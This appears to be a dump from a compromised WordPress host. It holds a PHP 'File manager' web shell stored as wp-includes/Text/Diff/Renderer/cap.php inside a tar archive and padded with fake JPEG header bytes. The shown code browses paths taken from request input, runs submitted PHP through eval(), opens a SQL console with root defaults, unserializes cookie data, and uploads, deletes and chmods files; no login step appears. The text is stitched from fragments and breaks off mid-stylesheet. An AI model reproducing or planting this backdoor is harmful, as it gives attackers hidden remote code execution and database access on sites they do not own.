		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           Renderer/cap.php.tar                                                                                0000644                 00000240000 15217306007 0010350 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
